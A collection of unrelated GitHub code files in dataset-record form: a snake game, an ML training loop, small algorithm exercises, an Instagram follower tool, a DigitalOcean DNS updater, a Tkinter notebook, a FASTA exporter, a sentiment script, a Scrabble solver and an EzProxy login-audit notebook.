allTailSquares = []\n for snake in self.snakes :\n allTailSquares += snake.getTailSquares()\n allHeadSquares = [(snake.x,snake.y) for snake in self.snakes]\n # Checking collision with wall\n if(x < 0 or y < 0 or x > self.sizeX or y > self.sizeY) :\n return True\n\n # Checking collision with snakes tails\n if((x,y) in allTailSquares) :\n return True\n\n # Checking collision with head\n if (allHeadSquares.count((x,y))>=2) :\n return True\n \n return False\n\n def _nearestDanger(self,baseX,baseY,deltaX,deltaY) :\n if (self._isColliding(baseX,baseY)) :\n return 0\n else :\n return self._nearestDanger(baseX+deltaX,baseY+deltaY,deltaX,deltaY) + 1\n\n def _distanceFrom(self,sourceX,sourceY,targetX,targetY) :\n return abs(targetX - sourceX) + abs(targetY - sourceY)\n\n def _getMaxDistance(self) :\n return math.sqrt(pow(self.sizeX,2)+pow(self.sizeY,2))\n \n def getSnake(self,id) : \n for snake in self.snakes :\n if(snake.id == id) :\n return snake \n \n \n def _displayWindow(self) :\n self.root = Tk()\n self.root.focus_force()\n\n self.root.title('SWORD')\n self.root.resizable(False,False)\n self.root.geometry('{}x{}+{}+{}'.format(self.XGridSize,self.YGridSize,20,20))\n self.canvas = Canvas(self.root,width=self.XGridSize,height=self.YGridSize,bg='black')\n self.canvas.pack()\n self._refreshApple()\n for snake in self.snakes :\n self._drawSnake(snake)\n \n # Draw the entire snake\n def _drawSnake(self,snake) :\n for x,y in snake.getOccupiedSquares() :\n self.canvas.create_rectangle(x*self.squareSize,y*self.squareSize,x*self.squareSize+self.squareSize,y*self.squareSize+self.squareSize,fill=snake.color,tag=snake.id+':'+str(x)+','+str(y))\n self.canvas.create_text(snake.x*self.squareSize,snake.y*self.squareSize,fill='white',font=('Times',self.squareSize if self.squareSize > 10 else 10),text=str(snake.score),tags=('score','score_'+snake.id),width=50,anchor='w')\n \n # Only remove the last part of the snake and draw the head\n def _refreshSnake(self,snake) : \n # Last body part\n self.canvas.delete(snake.id+':'+str(snake.lastRemoved.x)+','+str(snake.lastRemoved.y))\n # Head\n self.canvas.create_rectangle(snake.x*self.squareSize,snake.y*self.squareSize,snake.x*self.squareSize+self.squareSize,snake.y*self.squareSize+self.squareSize,fill=snake.color,tag=snake.id+':'+str(snake.x)+','+str(snake.y))\n self.canvas.move('score_'+snake.id,(snake.x-snake._bodyParts[0].x)*self.squareSize,(snake.y-snake._bodyParts[0].y)*self.squareSize)\n\n def _refreshApple(self) :\n self.canvas.delete('apple')\n self.canvas.create_rectangle(self.appleX*self.squareSize,self.appleY*self.squareSize,self.appleX*self.squareSize+self.squareSize,self.appleY*self.squareSize+self.squareSize,fill='red',tag='apple')\n\n def _spawnApple(self,x=None,y=None): \n occupiedSquares = []\n for snake in self.snakes :\n occupiedSquares.extend(snake.getOccupiedSquares())\n\n if(x==None and y==None) :\n self.appleX = randint(0,self.sizeX-1)\n self.appleY = randint(0,self.sizeY-1)\n while((self.appleX,self.appleY) in occupiedSquares) :\n self.appleX = randint(0,self.sizeX-1)\n self.appleY = randint(0,self.sizeY-1)\n else :\n if((x,y) not in occupiedSquares) :\n self.appleX = x\n self.appleY = y\n else :\n self._spawnApple()","repo_name":"KikitoBk/SWORD","sub_path":"Environnement/SnakeEnv.py","file_name":"SnakeEnv.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72841399283","text":"import neptune.new as neptune\n\n#Import just one network\nfrom displaynet import *\n#from alexnet import *\n#from resnet18 import *\n\n\nrun = neptune.init(project = \"your_project\",\n api_token = \"your_token\",\n name= \"resnet\",\n source_files = ['*.py'])\n\n\nPARAMS = {'batch_size_train': 8,\n 'batch_size_test': 1,\n 'learning_rate': 1e-3,\n 'epochs': 2000,\n 'optimizer': 'Adam',\n 'network':'resnet18'}\n\nrun['parameters'] = PARAMS\n\ntraining_data = CustomImageDataset(annotations_file='dataset/train/train.csv',img_dir = 'dataset/train')\ntest_data = CustomImageDataset(annotations_file='dataset/test/test.csv',img_dir = 'dataset/test')\ntrainloader = DataLoader(training_data, batch_size= PARAMS['batch_size_train'], shuffle=True)\ntestloader = DataLoader(test_data, batch_size=PARAMS['batch_size_test'], shuffle=False)\n\ncriterion = nn.L1Loss() \ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n#Use just one network\n\n#Resnet\n#model = ResNet(3, ResBlock, [3, 4, 6, 3], useBottleneck=False, outputs=8).to(device=device)\n\n\n#Alexnet and Displaynet\nmodel = AlexNet().to(device=device)\n\n\n\n\nprint(device)\noptimizer = optim.Adam(model.parameters(), lr= PARAMS[\"learning_rate\"])\ntime0 = time()\n\nfor e in range(PARAMS[\"epochs\"]):\n running_loss = 0\n for batch_idx, (images, labels) in enumerate(trainloader):\n\n images = images.float()\n images = images.to(device=device)\n labels = labels.to(device=device)\n # Training pass\n optimizer.zero_grad()\n \n output = model(images)\n loss = criterion(output, labels)\n \n #This is where the model learns by backpropagating\n loss.backward()\n \n #And optimizes its weights here\n optimizer.step()\n \n running_loss += loss.item()\n\n \n\n else:\n print(\"Epoch {} - Training loss: {}\".format(e, running_loss/len(trainloader)))\n run['train_loss_epoch'].log(running_loss/len(trainloader))\n\n if e%10 == 0:\n acc_t = 0\n for batch_idx, (data,targets) in enumerate(testloader):\n data = data.float()\n data = data.to(device=device)\n targets = targets.to(device=device)\n loss = criterion(output, labels)\n running_loss += loss.item()\n points = model(data)\n acc = torch.sum(abs(targets-points))\n acc_t += acc\n else:\n \n print(\"TEST LOSS:\")\n print(running_loss/len(testloader))\n run['test_loss_10epochs'].log(running_loss/len(testloader))\n print(\"Pixel Acurracy:\") \n acc_t = acc_t.item()\n print(acc_t/(len(testloader)*4))\n run['acc_test_10epochs'].log(acc_t/(len(testloader)*4))\n \n if e == 25:\n torch.save(model,\"model/run3-25.pth\")\n\n\n elif e == 50:\n torch.save(model,\"model/run3-50.pth\")\n\n \n elif e == 100:\n torch.save(model,\"model/run3-100.pth\")\n lr = 1e-4\n\n\n elif e == 250:\n torch.save(model,\"model/run3-250.pth\")\n\n\n elif e == 500:\n torch.save(model,\"model/run3-500.pth\")\n\n \n elif e == 1000:\n lr= 1e-5\n torch.save(model,\"model/run3-1000.pth\")\n\n elif e == 1500:\n lr = 1e-6\nprint(\"\\nTraining Time (in minutes) =\",(time()-time0)/60)\n\n \n\ntorch.save(model,\"model/run3-2000.pth\")\n\nrun.stop()","repo_name":"guedesopaulo/display_detector","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23070717003","text":"# coding=utf-8\n\nclass Solution:\n # @return\n def calculateMinimumHP(self, dungeon):\n step = self.calculateMinimum(dungeon)\n if step < 0:\n step = 0\n return step + 1\n def calculateMinimum(self, dungeon):\n row = len(dungeon)\n col = len(dungeon[0])\n #存储所有格子需要的最低血量\n HPs = []\n for rowi in range(row-1, -1, -1):\n HP = []\n for coli in range(col-1, -1, -1):\n if coli == col - 1 and rowi == row - 1:\n HP.append(max(-dungeon[rowi][coli], 0))\n elif coli == col - 1:\n HP.append(max(HPs[-1][0]-dungeon[rowi][coli], 0))\n elif rowi == row - 1:\n HP.append(max(HP[-1]-dungeon[rowi][coli], 0))\n else:\n HP.append(max(min(HPs[-1][col-1-coli]-dungeon[rowi][coli], HP[-1]-dungeon[rowi][coli]), 0))\n HPs.append(HP)\n #for HPline in HPs:\n # print \"\\t\".join(map(str, HPline)) \n return HPs[-1][-1]","repo_name":"hjhjw1991/leetcode","sub_path":"python/174_Dungeon_Game_iterative.py","file_name":"174_Dungeon_Game_iterative.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"16796456020","text":"import os\nimport dotenv\nimport argparse\nimport logging\nlogging.basicConfig(\n level=logging.WARNING,\n format='%(asctime)s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S'\n)\nlogger = logging.getLogger('FolloRizz')\n\nimport instagram\nigClient = instagram.User()\n\nimport menu\nimport inputs\n\n\ndef displayBanner():\n print(\" ___ ___ _ _ ___ ___ ___ ________\")\n print(\" | __/ _ \\| | | | / _ \\| _ \\_ _|_ /_ /\")\n print(\" | _| (_) | |__| |_| (_) | /| | / / / / \")\n print(\" |_| \\___/|____|____\\___/|_|_\\___/___/___|\")\n print(\" \")\n print(\" Made with <3 by @gahrlt \")\n print(\" \")\n\ndef clearScreen():\n if os.name == 'nt':\n os.system('cls')\n else:\n os.system('clear')\n\n\ndef app(parsedArgs):\n #~ Initialize Instagram user\n if parsedArgs.env:\n env = {\n **os.environ,\n **dotenv.dotenv_values('.env'),\n **dotenv.dotenv_values(parsedArgs.env)\n }\n igClient.login(\n env['INSTAGRAM_USERNAME'], env['INSTAGRAM_PASSWORD'],\n mfaSeed=env['INSTAGRAM_2FA_SEED'], sessionFile=f'{env.get(\"SESSION_FILE_PATH\")}.json'\n )\n else:\n igClient.login(\n parsedArgs.username, parsedArgs.password,\n mfaSeed=parsedArgs.twofseed, sessionFile=f'{parsedArgs.username}.json'\n )\n\n #~ Display menu\n displayBanner()\n print(f'Welcome @{igClient.username}! Here is the menu:')\n nbOpts = menu.Home.display()\n _, choice = print('What do you want to do?', end=' '), inputs.getInteger(1, nbOpts)\n\n clearScreen()\n displayBanner()\n menu.Home.opts[choice - 1]['action']()\n\n \n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n prog=\"FolloRizz\",\n description='Utility tool to play with your Instagram account followers/following lists',\n epilog='Made with <3 by @gahrlt'\n )\n #~ Only provide either username or env file\n dataGroup = parser.add_mutually_exclusive_group(required=True)\n dataGroup.add_argument('--username', '-u', help='Instagram username')\n dataGroup.add_argument('--env', help='Environment file where credentials are stored')\n \n parser.add_argument('--password', '-p', help='Instagram password', required=False)\n parser.add_argument('--twofseed', '-2fa', '--2fa', '-mfa', '--mfa', help='2FA seed', required=False)\n \n parser.add_argument('-v', '--verbose', help='Verbose mode', action='store_true')\n args = parser.parse_args()\n\n if args.verbose:\n logger.setLevel(logging.DEBUG)\n\n app(args)","repo_name":"ghrlt/follorizz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"72230238643","text":"import json\n\nimport requests\n\nfrom . import DynamicDnsPlugin\n\n\nclass DigitalOcean(DynamicDnsPlugin):\n def update(self, ip):\n client_id = self.config['client_id']\n api_key = self.config['api_key']\n prefix, fqdn = self.domain.split('.', 1)\n subdomain = False\n\n # Get domain ID\n url = 'https://api.digitalocean.com/domains?client_id={}&api_key={}'.format(client_id, api_key)\n content = json.loads(requests.get(url).content)\n domain_id = None\n if 'domains' not in content:\n raise LookupError('Error connecting to DigitalOcean API. Status: {}'.format(content['status']))\n for domain in content['domains']:\n if domain['name'] in [self.domain, fqdn]:\n domain_id = domain['id']\n if domain['name'] == fqdn:\n subdomain = True\n break\n if not domain_id:\n raise LookupError('Domain ID for {} not found in DigitalOcean API call \\'/domains\\''.format(self.domain))\n\n # Get domain records\n url = 'https://api.digitalocean.com/domains/{}/records?client_id={}&api_key={}'.format(domain_id, client_id, api_key)\n content = json.loads(requests.get(url).content)\n record_id = None\n for record in content['records']:\n if record['record_type'] == 'A' and ((subdomain and record['name'] == prefix) or (not subdomain and record['name'] == '@')):\n record_id = record['id']\n break\n if not record_id:\n raise LookupError('\\'A\\' record for {} not found in DigitalOcean API call \\'/domains/{}/records\\''.format(self.domain, domain_id))\n\n # Update record with new IP\n url = 'https://api.digitalocean.com/domains/{}/records/{}/edit?client_id={}&api_key={}&data={}'.format(domain_id, record_id, client_id, api_key, ip)\n content = json.loads(requests.get(url).content)\n if content['status'] == 'OK':\n raise RuntimeError('Couldn\\'t update IP address in DigitalOcean DNS record via API call \\'/domains/{}/records/{}/edit?data={}\\''.format(domain_id, record_id, ip))\n","repo_name":"damianmoore/django-dynamic-dns","sub_path":"dynamicdns/plugins/digitalocean.py","file_name":"digitalocean.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"75"} +{"seq_id":"11669281047","text":"#from operator import attrgetter\r\nfrom tkinter import *\r\n#from tkinter import messagebox\r\n\r\ndef check():\r\n with open('list.txt','a') as f:\r\n pass\r\n with open('list.txt','r') as f:\r\n read = f.read()\r\n if read == '' or read == 'list is clear':\r\n read = 'list is clear'\r\n return read\r\n'''\r\nclass Info:\r\n def __init__(self,NameW,DateW,PhoneW,DiscW):\r\n self.NameW = NameW\r\n self.DateW = DateW\r\n self.PhoneW = PhoneW\r\n self.DiscW = DiscW\r\n'''\r\n\r\ndef aDd(name):\r\n global NameW\r\n global DateW\r\n global PhoneW\r\n global DiscW\r\n \r\n if check() == 'list is clear':\r\n with open('list.txt','w') as f:\r\n f.write(str(name)+' = Info('+NameW.get()+',' +DateW.get()+','+ PhoneW.get()+',' +DiscW.get()+')')\r\n else:\r\n with open('list.txt','a') as f:\r\n f.write(str(name)+' = Info('+NameW.get()+',' +DateW.get()+','+ PhoneW.get()+',' +DiscW.get()+')')\r\n\r\nread = 'list is clear'\r\ntk = Tk()\r\n\r\nNameW = StringVar()\r\nDateW = StringVar()\r\nPhoneW = StringVar()\r\nDiscW = StringVar()\r\n\r\ntk.title(\"dank notebook\")\r\n\r\ncheck()\r\n\r\nList = Frame(tk, bg = 'black', bd = 1)\r\naddF = Frame(tk, bg = 'black', bd = 1)\r\ndelF = Frame(tk, bg = 'black', bd = 1)\r\nmodF = Frame(tk, bg = 'black', bd = 1)\r\nname = Frame(tk, bg = 'black', bd = 1)\r\ndate = Frame(tk, bg = 'black', bd = 1)\r\nphone = Frame(tk,bg = 'black', bd = 1)\r\ndis1 = Frame(tk,bg = 'black', bd = 1)\r\ndis2 = Frame(tk,bg = 'black', bd = 1)\r\n\r\nList.grid(row = 0, column = 1,rowspan = 8)\r\naddF.grid(row = 8, column = 1)\r\ndelF.grid(row = 8, column = 2)\r\nmodF.grid(row = 8, column = 3)\r\nname.grid(row = 1, column = 2, columnspan = 2)\r\ndate.grid(row = 2, column = 2)\r\nphone.grid(row = 3, column = 2)\r\ndis1.grid(row = 4, column = 2)\r\ndis2.grid(row = 5, column = 2, columnspan = 2)\r\n\r\nlab = Label(List, text = read, bg = 'white', fg = 'black', height = 14, width = 17)\r\npic = Label(tk,bg = 'green') \r\n\r\nName = Entry(name, bg = 'grey', fg = 'black', width = 41, textvariable = NameW)\r\ndiscName = Label(name, text = \"Name, scnd name,\\nsurname\", width = 42)\r\n\r\nDate = Entry(date, bg = 'grey', fg = 'black', width = 20, textvariable = DateW)\r\ndiscDate = Label(date, text = \"date of birth\", width = 21)\r\n\r\nPhone = Entry(phone, bg = 'grey', fg = 'black', width = 20, textvariable = PhoneW)\r\ndiscPhone = Label(phone, text = \"phone number\", width = 21)\r\n\r\nDisc = Entry(dis2, bg = 'grey', fg = 'black', width = 41, textvariable = DiscW)\r\ndiscDisc = Label(dis1, text = \"description\", width = 21)\r\n\r\n \r\nmod = Button(modF, text = 'mod', width = 20)\r\ndelete = Button(delF, text = 'delete', width = 21)\r\nadd = Button(addF, text = 'add', width = 17, command = aDd(NameW))\r\n\r\nlab.pack()\r\npic.grid(row = 2, column = 3, rowspan = 5)\r\n\r\nName.grid(row = 1, column = 1, columnspan = 1)\r\ndiscName.grid(row = 0, column = 1, columnspan = 1)\r\n\r\nDate.grid(row = 1, column = 1)\r\ndiscDate.grid(row = 0, column = 1)\r\n\r\nPhone.grid(row = 1, column = 1)\r\ndiscPhone.grid(row = 0, column = 1)\r\n\r\nDisc.grid(row = 0, column = 1, columnspan = 2)\r\ndiscDisc.grid(row = 0, column = 1)\r\n\r\nadd.pack()\r\ndelete.pack()\r\nmod.pack()\r\ntk.mainloop()\r\n","repo_name":"PythonScriptPlusPlus/danotebook","sub_path":"danotebook.py","file_name":"danotebook.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4798453532","text":"#!/usr/bin/env python2\n##useful\n\nfrom __future__ import print_function\nimport itertools, os\nimport datetime\nfrom Bio import SeqIO\nimport mysql.connector\nimport re,os.path,sys,string\n#import openpyxl,lxml\n#from openpyxl import load_workbook\nfrom mysql.connector.errors import IntegrityError\n\"\"\"\n\nName: stage4.py\n\nAuthor: Graham E Derryberry\nDate: 11 September 2016\n\nDescription:\nCompile stage 4 fasta files from the mysql db.\n\n\n\"\"\"\n\nclass Stage4SamplesFile:\n \"\"\"Represents a stage 4 fasta file to be downloaded from the database\"\"\"\n def __init__(self, pldb, locus_uid=None,locus_name=None,delay=False):\n if delay:\n raise NotImplementedException(\"Delay connection code not yet implemented\")\n else:\n self.pldb=pldb\n self.pldb.ww.tick=50\n self.locus_name =locus_name\n self.locus_uid=locus_uid\n if self.locus_uid is not None:\n self.fetch_rows=''' select sample_uid,locus_uid,seq_uid,branch,seq_data,depth_quality,sub_start,sub_end\n from best_unaligned_sequences join unaligned_sequences using (seq_uid,sample_uid,locus_uid)\n where locus_uid={}'''.format(self.locus_uid)\n else:\n self.fetch_rows=None\n if pldb.conn is not None:\n self.load_file_ids()\n else:\n self.file_ids=None\n # self.fetch_seq = ''' '''\n select_src_id='''select \n file_uid, Order_no as sample_uid, sample_id as alias_uid, branch \n from (select file_uid, job_uid, eff_job_id from known_output_files \n where file_category='loci_for_sample' and file_path=%s ) as src\n join stage3stats as j on j.job_uid=src.job_uid or j.job_uid=src.eff_job_id'''\n def load_file_ids(self):\n \"Get sample uid to sample name for stage 4 alignment dictionary\"\n if self.pldb.conn is None:\n self.pldb.open_connection()\n self.file_ids=self.pldb.get_sample_dict(stage='stage4')\n if self.fetch_rows is None:\n self.fetch_rows=''' select sample_uid,branch,locus_uid,seq_uid,seq_data,depth_quality,sub_start,sub_end\n from best_unaligned_sequences join unaligned_sequences using (seq_uid,sample_uid,locus_uid)\n where locus_uid={}'''.format(self.pldb.get_locus_uid(self.locus_name))\n self.locus_uid=self.pldb.get_locus_uid(self.locus_name)\n def download_sequences(self,out=sys.stdout,filter=None):\n if self.file_ids is None:\n if self.pldb.conn is None:\n self.pldb.open_connection()\n self.load_file_ids()\n \n c=self.pldb.named_cursor()\n #print(self.insRow);\n #raise NotImplementedError('Sequence upload not yet implented')\n #raise NotImplementedError('Sequence scan not yet implented')\n c.execute(self.fetch_rows)\n self.pldb.ww.resume_place()\n if filter is None:\n for row in c:\n print('>{}|{}|SUID_{}|LUID_{}|SEQUID_{}'.format(self.file_ids[row.sample_uid],row.branch,row.sample_uid,row.locus_uid,row.seq_uid),file=out)\n print(row.seq_data[row.sub_start:row.sub_end],file=out)\n print('+',end='',file=self.pldb.ww)\n else:\n for row in c:\n if not filter(row):\n print('S',end='',file=self.pldb.ww)\n continue\n print('>{}|{}|SUID_{}|LUID_{}|SEQUID_{}'.format(self.file_ids[row.sample_uid],row.branch,row.sample_uid,row.locus_uid,row.seq_uid),file=out)\n print(row.seq_data[row.sub_start:row.sub_end],file=out)\n print('+',end='',file=self.pldb.ww)\n\n\n\n","repo_name":"mgharvey/tyranni","sub_path":"sequence_assembly/tyranniSQL/stage4.py","file_name":"stage4.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"39813007932","text":"# Move all zeroes to end of array\n# Given an array of random numbers, Push all the zero’s of a given array to the end of the array.\n# For example, if the given arrays is {1, 9, 8, 4, 0, 0, 2, 7, 0, 6, 0}, it should be changed to {1, 9, 8, 4, 2, 7, 6, 0, 0, 0, 0}.\n# The order of all other elements should be same. Expected time complexity is O(n) and extra space is O(1).\n\ndef MoveZerosEndArray(ary):\n\n cnt=0\n\n for i in range(0,len(ary)):\n\n if ary[i]!=0:\n ary[cnt]=ary[i]\n cnt=cnt+1\n\n while cnt 0:\r\n positive_count += 1\r\n elif score < 0:\r\n negative_count += 1\r\n else:\r\n neutral_count += 1\r\n\r\n # calculate the proportion of comments with each sentiment\r\n positive_proportion = positive_count / count\r\n neutral_proportion = neutral_count / count\r\n negative_proportion = negative_count / count\r\n\r\n print(\r\n 'Count: {}, Positive: {:.3f}, Neutral: {:.3f}, Negative: {:.3f}'.format(\r\n count, positive_proportion, neutral_proportion, negative_proportion))\r\n\r\n \r\n ","repo_name":"nikhilamunipalli/sentiment","sub_path":"fb.py","file_name":"fb.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35071412331","text":"\n\nimport random\nfrom itertools import permutations\nfrom more_itertools import unique_everseen, powerset\nimport textwrap\n\n\nDICTPATH = 'dictionary.txt'\n\n\n# load dictionary into memory\nwith open(DICTPATH) as f:\n DICT_WORDS = set(f.read().splitlines())\n\n\ndef word_in_dict(word):\n \"\"\"\n Is given word (or tileset) in the dictionary?\n \"\"\"\n if not isinstance(word, str):\n word = ''.join(word)\n return word in DICT_WORDS\n\n\ndef possible_words(letters):\n \"\"\"\n Return list of all legal words made of the given letters.\n \"\"\"\n wordset = set()\n # for all possible lengths of letters\n for chosen_letters in powerset(letters):\n if not chosen_letters:\n continue\n # test all permutations of letters of given length not before seen\n for tiles in unique_everseen(permutations(chosen_letters)):\n if word_in_dict(tiles):\n wordset.add(''.join(tiles))\n return sorted(wordset)\n\n\nif __name__ == '__main__':\n print()\n letters = list('andytrd'.upper())\n random.shuffle(letters)\n print(f'letters: {letters}')\n words = possible_words(letters)\n print(f'{len(words)} words found:')\n print(textwrap.fill(' '.join(words),\n initial_indent=' ',\n subsequent_indent=' '))\n","repo_name":"jonathaneunice/scrabble-test","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22685541364","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # EzProxy Daily : Users : Successful Logins\n\n# ***This runs best in Jupyter, either on a local machine or on a server you have file access to.*** \n# \n# To review users accessing EzProxy and whether they are chaining multiple sessions, make sure you place the audit logs into the /data folder and that they are named in the syntax of \"YYYYMMDD.txt\" (for example, \"20190314.txt\"). These audit files are usually in the /audit sub-folder of your EzProxy application folder on the server. Your audit logs will need to be in the following format:\n# \n# > **%h %{ezproxy-session}i %u %t \"%r\" %s %b**\n# \n# Please also maked sure that you place the EzProxy log files in the /data_e folder and that they are named in the syntax of \"ezproxyYYYYMMDD.log\" (for example, \"ezproxy20190101.log\"). These ezproxy files are usually in the /log sub-folder of your EzProxy application folder on the server. Your EzProxy logs will need to be in the following format, which is slightly different from the audit log format:\n# \n# > **%h %{ezproxy-session}i %U %u %t \"%r\" %s %b**\n# \n# Once you have some files in the approprate data folders, *run cells 1 through to 8*. If there are no warnings or errors, then you will be presented with a calendar dropdown menu, from which you can select the date for audting. Once you select a date, it will read the audit log and then refresh with a 'username' dropdown, which presents users with the number of sessions they have held on the day in question. From this, you can select a user to review their activity based on the number of sessions they have generated. Usual bahaviour rarely goes into double digits; suspicious behaviour is always into double digits and often stands out from the rest of the list. In the image below, there are two users which warranted a review: one was legitimate (left side), the other was not legitimate and the user had to be contacted after their username was blocked (right side)\n# \n# ![User Behaviour: Good on left, Bad on right](./docs/user_behaviour_reduced.jpg)\n# \n# Once you select a username, the program will take a little moment to visualise where the user logged into EzProxy and where the user operated from after their logging in session was authenticated by EzProxy. In normal circumstances, both locations will match but in suspicious circumstances you may find that there are differences in locations or one location for logging in and multiple locations for general use. The latter scenario is usually indicative of the session being proxied out to other users (which sites like 'pubmed007' often do). You can verify this by clicking on the 'View Activity' button. This will generate a high-level list of resources accessed and other sites appearing in the logs. It is in the 'Other Sites' list where you will see any sites like 'pubmed007' or '2447.net'.\n\n# # Activate all cells\n\n# In[18]:\n\n\nimport os\nget_ipython().system('jupyter nbconvert --to script ezproxy_daily_users.ipynb')\nos.rename(\"./ezproxy_daily_users.py\", \"./py/ezproxy_daily_users.py\")\n\n\n# In[11]:\n\n\n# FRESH ANACONDA INSTALL\n# export PATH=/anaconda3/bin:$PATH\n# conda config --add channels conda-forge\n# conda install -c conda-forge proj4\n# conda install -c anaconda mysql-connector-python\n# conda install -c conda-forge cartopy\n# conda install -c conda-forge tldextract\n# conda install -c conda-forge basemap\n# conda install -c conda-forge basemap-data-hires\n# conda install -c conda-forge ipywidgets\n# conda install -c conda-forge folium\n# conda install -c conda-forge pyzmq\n# conda install -c conda-forge jupyterlab\n# conda install -c conda-forge nodejs\n# conda install python=3.6.7\n# jupyter nbextension enable --py widgetsnbextension\n# jupyter labextension install @jupyter-widgets/jupyterlab-manager\n# jupyter lab build\n\n\n# In[12]:\n\n\nimport numpy as np\nimport pandas as pd\nimport random\nimport re\nimport sys\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport mysql.connector\nimport matplotlib.dates as mdates\nimport cartopy.crs as ccrs\nos.environ['PROJ_LIB'] = '/anaconda3/share/proj'\nimport requests\nimport json\nimport time\nimport csv\nimport tldextract\nfrom datetime import datetime, timedelta, date\nfrom ipywidgets import interact, interactive, interact_manual, Button, HBox, VBox, Layout, ButtonStyle\nimport ipywidgets as widgets\nfrom IPython.display import display, clear_output, HTML\nfrom mpl_toolkits.basemap import Basemap\npd.set_option('display.max_colwidth', -1)\n\n\n# In[13]:\n\n\ndef on_date(change):\n global ddown\n global audit\n global thisDate2\n global sessDate\n global audits\n global audits_dict\n global thisDate\n today = date.today()\n today = int(today.strftime(\"%Y%m%d\"))\n thisDate = aDates.value\n thisDate2 = str(aDates.value)\n thisDate3 = int(thisDate.strftime(\"%Y%m%d\"))\n sessDate = thisDate.strftime(\"%Y%m%d\")\n if thisDate3 > today:\n thisDate = date.today()\n thisDate = \"./data/\" + thisDate.strftime(\"%Y%m%d\") + \".txt\"\n audit = pd.read_csv(thisDate,sep='\\t')\n audit[\"is_duplicate\"] = audit.duplicated(['Username'])\n audit = audit[audit.Event == \"Login.Success\"]\n audit = audit[audit.is_duplicate == True]\n del audit['Date/Time']\n del audit['Other']\n del audit['Event']\n audit = audit[pd.notnull(audit['IP'])]\n audits = audit.groupby('Username').size()\n audits = pd.DataFrame({'Username':audits.index, 'Access':audits.values})\n audits = audits[audits.Access > 1]\n audits = audits.sort_values(by='Access',ascending=False)\n #audits = audits.sort_values(by='Username',ascending=False)\n audits['Action'] = audits.Username.map(str)+\" -- \"+audits.Access.map(str)\n audits_dict = dict(zip(audits.Action,audits.Username,))\n with outB:\n clear_output()\n ddown = widgets.Dropdown(\n options = audits_dict,\n description = 'Usernames',\n disabled=False,\n value=None,\n rows=5\n )\n ddown.observe(on_user,names='value')\n display(ddown)\n with outC:\n clear_output()\n with outD:\n clear_output()\n with outE:\n clear_output()\n with outF:\n clear_output()\n with outG:\n clear_output()\n\n\n# In[14]:\n\n\nglobal aDates\nnow = datetime.utcnow() - timedelta(days=1)\naDates = widgets.DatePicker(\n description='Audit Date',\n disabled=False,\n# value=datetime(now.year,now.month,now.day)\n)\naDates.observe(on_date,names='value')\n\n\n# In[15]:\n\n\ndef on_user(change):\n global sessdown\n global sessions\n global ipaddresses\n global ips\n global users\n global audit2\n global dataZ2\n global logZ\n with outC:\n clear_output()\n with outF:\n clear_output()\n with outE:\n clear_output()\n with outD:\n clear_output()\n with outG:\n clear_output()\n #Audit data\n thisUser = ddown.value\n audit2 = audit[audit.Username == thisUser]\n user = []\n ipaddresses = []\n sessions = []\n #Log data\n dataZ = pd.read_csv(\"./data_e/ezproxy\" + sessDate + \".log\", sep=\" \", header=None, error_bad_lines=False, warn_bad_lines=False)\n dataZ.columns = [\"ipaddress\", \"sessionid\", \"url\", \"urlsessionid\", \"adate\", \"azone\", \"adomain\", \"astatus\", \"asize\"]\n dataZ2 = pd.DataFrame(dataZ)\n dataZ2 = dataZ2[dataZ2.urlsessionid == thisUser]\n dataZ3 = dataZ2.groupby(['ipaddress'], as_index=False)['ipaddress'].agg(['count'])\n ips2 = dataZ3.index.tolist()\n ips2 = list(set(ips2))\n for index, row in audit2.iterrows():\n if row['IP'] != \"\" and row['is_duplicate'] is True:\n aa = row['IP']\n bb = row['Username']\n cc = row['Session']\n ipaddresses.append(aa)\n user.append(bb)\n sessions.append(cc)\n ips = [x for x in ipaddresses if not pd.isnull(x)] \n ips = list(set(ips))\n #ips2 = [x for x in ips2 if x not in ips]\n users = [x for x in user if not pd.isnull(x)]\n users = list(set(users))\n thisFile = \"./outputs/\" + users[0] + \"_\" + thisDate2 + \"_log.csv\"\n exists = os.path.isfile(thisFile)\n if exists:\n myLog = \"Audit log CSV exists\"\n else:\n with open(thisFile, mode='w') as audit_file:\n audit_writer = csv.writer(audit_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n audit_writer.writerow([\"IP\",\"lat\",\"lon\",\"city\",\"dsize\",\"continent_name\",\n \"threat_is_tor\",\"threat_is_proxy\",\n \"threat_is_anonymous\",\"threat_is_known_attacker\",\n \"threat_is_known_abuser\",\"threat_is_threat\",\"threat_is_bogon\"])\n z = 0\n for x in ips:\n url = \"http://ip-api.com/json/\" + x\n #apikey = \"\"\n #url = \"https://api.ipdata.co/\" + x + \"?api-key=\" + apikey\n r = requests.get(url)\n results = r.json()\n if len(results) > 1:\n lat = results['lat']\n lon = results['lon']\n city = results['city']\n #lat = results['latitude']\n #lon = results['longitude']\n #continent_name = results['continent_name']\n #threat_is_tor = results['threat']['is_tor']\n #threat_is_proxy = 